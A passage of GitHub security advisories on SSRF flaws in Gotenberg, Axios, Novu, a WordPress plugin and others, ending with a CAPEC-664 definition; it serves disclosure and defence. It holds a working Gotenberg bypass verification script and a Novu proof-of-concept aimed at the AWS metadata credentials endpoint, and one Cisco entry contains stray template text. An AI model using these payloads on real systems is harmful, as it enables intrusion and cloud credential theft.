2\u003e/dev/null || true\n printf \u0027\\n--- helper logs ---\\n\u0027\n docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n red \"Missing test PDF: $TEST_PDF\"\n exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n red \"Missing Dockerfile: $DOCKERFILE\"\n exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e\u00261; then\n blue \"[1/6] Building slim verification image: $IMAGE\"\n docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n --name \"$GOTENBERG_NAME\" \\\n -p \"$PORT:3000\" \\\n \"$IMAGE\" \\\n --webhook-enable-sync-mode=true \\\n \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/pdf\")\n self.send_header(\"Content-Disposition\", \u0027attachment; filename=\"page_1.pdf\"\u0027)\n self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n self.end_headers()\n self.wfile.write(PDF_BYTES)\n\n def log_message(self, fmt, *args):\n return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"Content-Length\", \"0\"))\n body = self.rfile.read(length)\n with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n f.write(\n f\"{self.command} {self.path} len={len(body)} \"\n f\"content-type={self.headers.get(\u0027Content-Type\u0027, \u0027\u0027)}\\n\"\n )\n self.send_response(200)\n self.end_headers()\n\n do_PATCH = do_POST\n do_PUT = do_POST\n\n def log_message(self, fmt, *args):\n return\n\n\ndef serve(addr, handler):\n HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n --name \"$HELPER_NAME\" \\\n --network \"container:$GOTENBERG_NAME\" \\\n -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n -v \"$ARTIFACT_DIR:/work\" \\\n -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n python:3.11-alpine \\\n python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n if docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n break\n fi\n sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n curl -sS \\\n -o \"$DOWNLOAD_JSON\" \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e \u0027has(\"page_1.pdf\")\u0027 \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e\u00261; then\n cat \"$DOWNLOAD_JSON\" || true\n fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n curl -sS \\\n -o /dev/null \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q \u0027^POST /upload \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q \u0027^POST /events \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf \u0027downloadFrom metadata: %s\\n\u0027 \"$DOWNLOAD_JSON\"\nprintf \u0027webhook log: %s\\n\u0027 \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n--- downloadFrom metadata excerpt ---\\n\u0027\njq \u0027{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}\u0027 \"$DOWNLOAD_JSON\"\n\nprintf \u0027\\n--- webhook log ---\\n\u0027\ncat \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n\u0027\ngreen \"Verification complete\"\nprintf \u0027Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n\u0027\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
"id": "GHSA-4vmc-gm8v-m35h",
"modified": "2026-05-14T20:52:50Z",
"published": "2026-05-07T01:15:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook"
}
GHSA-4VR9-8JJ4-GFWV
Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.
{
"affected": [],
"aliases": [
"CVE-2026-1648"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T04:16:54Z",
"severity": "HIGH"
},
"details": "The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the \u0027url\u0027 parameter in the \u0027/wp-json/performance-monitor/v1/curl_data\u0027 REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.",
"id": "GHSA-4vr9-8jj4-gfwv",
"modified": "2026-03-21T06:30:24Z",
"published": "2026-03-21T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1648"
},
{
"type": "WEB",
"url": "https://github.com/assetnote/blind-ssrf-chains"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/admin/class-curl.php#L50"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/includes/class-rest-callback.php#L168"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8f42f17-bce2-421e-9031-bfa0f8c26b2a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4W2V-Q235-VP99
Vulnerability from github – Published: 2021-01-04 20:59 – Updated: 2022-09-14 20:36Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28168"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-01-04T20:57:20Z",
"nvd_published_at": "2020-11-06T20:15:00Z",
"severity": "MODERATE"
},
"details": "Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.",
"id": "GHSA-4w2v-q235-vp99",
"modified": "2022-09-14T20:36:52Z",
"published": "2021-01-04T20:59:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28168"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/issues/3369"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-AXIOS-1038255"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1594"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios vulnerable to Server-Side Request Forgery"
}
GHSA-4W8P-X6G8-FV64
Vulnerability from github – Published: 2022-02-01 00:48 – Updated: 2024-11-19 19:23calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "calibreweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-31T22:07:47Z",
"nvd_published_at": "2022-01-30T14:15:00Z",
"severity": "MODERATE"
},
"details": "calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.",
"id": "GHSA-4w8p-x6g8-fv64",
"modified": "2024-11-19T19:23:22Z",
"published": "2022-02-01T00:48:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0339"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/35f6f4c727c887f8f3607fe3233dbc1980d15020"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/3b216bfa07ec7992eff03e55d61732af6df9bb92"
},
{
"type": "PACKAGE",
"url": "https://github.com/janeczku/calibre-web"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/releases/tag/0.6.16"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/calibreweb/PYSEC-2022-23.yaml"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/499688c4-6ac4-4047-a868-7922c3eab369"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Server-Side Request Forgery in calibreweb"
}
GHSA-4W9W-3V73-2RH7
Vulnerability from github – Published: 2022-11-04 19:01 – Updated: 2022-11-08 19:00A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} ["%7b%7bvalue%7d%7d"])}]]
{
"affected": [],
"aliases": [
"CVE-2022-20958"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-36",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-04T18:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} [\"%7b%7bvalue%7d%7d\"])}]]",
"id": "GHSA-4w9w-3v73-2rh7",
"modified": "2022-11-08T19:00:23Z",
"published": "2022-11-04T19:01:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20958"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4WPP-W5R4-7V5V
Vulnerability from github – Published: 2022-05-24 20:55 – Updated: 2022-05-24 20:55We've discovered a vulnerability in which attackers could forge HTTP requests to manipulate the charm data directory to access or delete anything on the server. This has been patched in https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3 and is available in release v0.12.1. We recommend that all users running self-hosted charm instances update immediately.
This vulnerability was found in-house and we haven't been notified of any potential exploiters.
Additional notes
- Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data.
- Users running the official Charm Docker images are at minimal risk because the exploit is limited to the containerized filesystem.
For more information
If you have any questions or comments about this advisory: * Open a discussion * Email us at vt100@charm.sh * Chat with us on Slack
Charm热爱开源 • Charm loves open source
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/charmbracelet/charm"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29180"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T20:55:22Z",
"nvd_published_at": "2022-05-07T04:15:00Z",
"severity": "CRITICAL"
},
"details": "We\u0027ve discovered a vulnerability in which attackers could forge HTTP requests to manipulate the `charm` data directory to access or delete anything on the server. This has been patched in https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3 and is available in release [v0.12.1](https://github.com/charmbracelet/charm/releases/tag/v0.12.1). We recommend that all users running self-hosted `charm` instances update immediately.\n\nThis vulnerability was found in-house and we haven\u0027t been notified of any potential exploiters.\n\n### Additional notes\n\n* Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data.\n* Users running the official Charm [Docker images](https://github.com/charmbracelet/charm/blob/main/docker.md) are at minimal risk because the exploit is limited to the containerized filesystem.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open a [discussion](https://github.com/charmbracelet/charm/discussions)\n* Email us at [vt100@charm.sh](mailto:vt100@charm.sh)\n* Chat with us on [Slack](https://charm.sh/slack)\n\n* * *\n\n\u003ca href=\"https://charm.sh/\"\u003e\u003cimg alt=\"the Charm logo\" src=\"https://stuff.charm.sh/charm-badge.jpg\" width=\"400\"\u003e\u003c/a\u003e\n\nCharm\u70ed\u7231\u5f00\u6e90 \u2022 Charm loves open source",
"id": "GHSA-4wpp-w5r4-7v5v",
"modified": "2022-05-24T20:55:22Z",
"published": "2022-05-24T20:55:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/charmbracelet/charm/security/advisories/GHSA-4wpp-w5r4-7v5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29180"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3"
},
{
"type": "PACKAGE",
"url": "https://github.com/charmbracelet/charm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in charm"
}
GHSA-4WQV-6439-QQQ3
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33SAP Commerce Cloud (Accelerator Payment Mock), versions - 1808, 1811, 1905, 2005, allows an unauthenticated attacker to submit a crafted request over a network to a particular SAP Commerce module URL which will be processed without further interaction, the crafted request leads to Server Side Request Forgery attack which could lead to retrieval of limited pieces of information about the service with no impact on integrity or availability.
{
"affected": [],
"aliases": [
"CVE-2020-26811"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-10T17:15:00Z",
"severity": "MODERATE"
},
"details": "SAP Commerce Cloud (Accelerator Payment Mock), versions - 1808, 1811, 1905, 2005, allows an unauthenticated attacker to submit a crafted request over a network to a particular SAP Commerce module URL which will be processed without further interaction, the crafted request leads to Server Side Request Forgery attack which could lead to retrieval of limited pieces of information about the service with no impact on integrity or availability.",
"id": "GHSA-4wqv-6439-qqq3",
"modified": "2022-05-24T17:33:59Z",
"published": "2022-05-24T17:33:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26811"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2975170"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=562725571"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163143/SAP-Hybris-eCommerce-Server-Side-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Jun/26"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4X48-CGF9-Q33F
Vulnerability from github – Published: 2026-04-14 23:22 – Updated: 2026-04-14 23:22Summary
The conditions filter webhook at libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts line 261 sends POST requests to user-configured URLs using raw axios.post() with no SSRF validation. The HTTP Request workflow step in the same codebase correctly uses validateUrlSsrf() which blocks private IP ranges. The conditions webhook was not included in this protection.
Root Cause
conditions-filter.usecase.ts line 261:
return await axios.post(child.webhookUrl, payload, config).then((response) => {
return response.data as Record<string, unknown>;
});
No call to validateUrlSsrf(). The webhookUrl comes from the workflow condition configuration with zero validation.
Protected Code (for contrast)
execute-http-request-step.usecase.ts line 130:
const ssrfValidationError = await validateUrlSsrf(url);
if (ssrfValidationError) {
// blocked
}
This function resolves DNS and checks against private ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). It exists in the codebase but is not applied to the conditions webhook path.
Proof of Concept
- Create a workflow with a condition step
- Configure the condition's webhook URL to
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Trigger the workflow by sending a notification event
- The worker evaluates the condition and calls
axios.post()to the metadata endpoint - The response data is stored in execution details and accessible via the execution details API
Impact
Full-read SSRF. The response body is returned as Record<string, unknown> for condition evaluation and stored in the execution details raw field. The GET /execution-details API returns this data.
The POST method limits some metadata endpoints (GCP requires GET, Azure requires GET), but AWS IMDSv1 accepts POST and returns credentials. Internal services accepting POST are also reachable.
Suggested Fix
Extract validateUrlSsrf() to a shared utility and call it before the axios.post in conditions-filter.usecase.ts:
const ssrfError = await validateUrlSsrf(child.webhookUrl);
if (ssrfError) {
throw new Error('Webhook URL blocked by SSRF protection');
}
return await axios.post(child.webhookUrl, payload, config)...
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@novu/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:22:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe conditions filter webhook at `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` line 261 sends POST requests to user-configured URLs using raw `axios.post()` with no SSRF validation. The HTTP Request workflow step in the same codebase correctly uses `validateUrlSsrf()` which blocks private IP ranges. The conditions webhook was not included in this protection.\n\n## Root Cause\n\n`conditions-filter.usecase.ts` line 261:\n```typescript\nreturn await axios.post(child.webhookUrl, payload, config).then((response) =\u003e {\n return response.data as Record\u003cstring, unknown\u003e;\n});\n```\n\nNo call to `validateUrlSsrf()`. The `webhookUrl` comes from the workflow condition configuration with zero validation.\n\n## Protected Code (for contrast)\n\n`execute-http-request-step.usecase.ts` line 130:\n```typescript\nconst ssrfValidationError = await validateUrlSsrf(url);\nif (ssrfValidationError) {\n // blocked\n}\n```\n\nThis function resolves DNS and checks against private ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). It exists in the codebase but is not applied to the conditions webhook path.\n\n## Proof of Concept\n\n1. Create a workflow with a condition step\n2. Configure the condition\u0027s webhook URL to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`\n3. Trigger the workflow by sending a notification event\n4. The worker evaluates the condition and calls `axios.post()` to the metadata endpoint\n5. The response data is stored in execution details and accessible via the execution details API\n\n## Impact\n\nFull-read SSRF. The response body is returned as `Record\u003cstring, unknown\u003e` for condition evaluation and stored in the execution details `raw` field. The `GET /execution-details` API returns this data.\n\nThe POST method limits some metadata endpoints (GCP requires GET, Azure requires GET), but AWS IMDSv1 accepts POST and returns credentials. Internal services accepting POST are also reachable.\n\n## Suggested Fix\n\nExtract `validateUrlSsrf()` to a shared utility and call it before the axios.post in conditions-filter.usecase.ts:\n\n```typescript\nconst ssrfError = await validateUrlSsrf(child.webhookUrl);\nif (ssrfError) {\n throw new Error(\u0027Webhook URL blocked by SSRF protection\u0027);\n}\nreturn await axios.post(child.webhookUrl, payload, config)...\n```",
"id": "GHSA-4x48-cgf9-q33f",
"modified": "2026-04-14T23:22:48Z",
"published": "2026-04-14T23:22:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/novuhq/novu/security/advisories/GHSA-4x48-cgf9-q33f"
},
{
"type": "WEB",
"url": "https://github.com/novuhq/novu/commit/87d965eb88340ac7cd262dd52c8015acd092dc68"
},
{
"type": "PACKAGE",
"url": "https://github.com/novuhq/novu"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Novu has SSRF via conditions filter webhook bypasses validateUrlSsrf() protection"
}
GHSA-4X9J-CJQ3-HXHF
Vulnerability from github – Published: 2024-07-22 12:30 – Updated: 2024-07-22 12:30Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.
{
"affected": [],
"aliases": [
"CVE-2024-38730"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-22T11:15:04Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.",
"id": "GHSA-4x9j-cjq3-hxhf",
"modified": "2024-07-22T12:30:38Z",
"published": "2024-07-22T12:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38730"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/magical-addons-for-elementor/wordpress-magical-addons-for-elementor-plugin-1-1-40-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
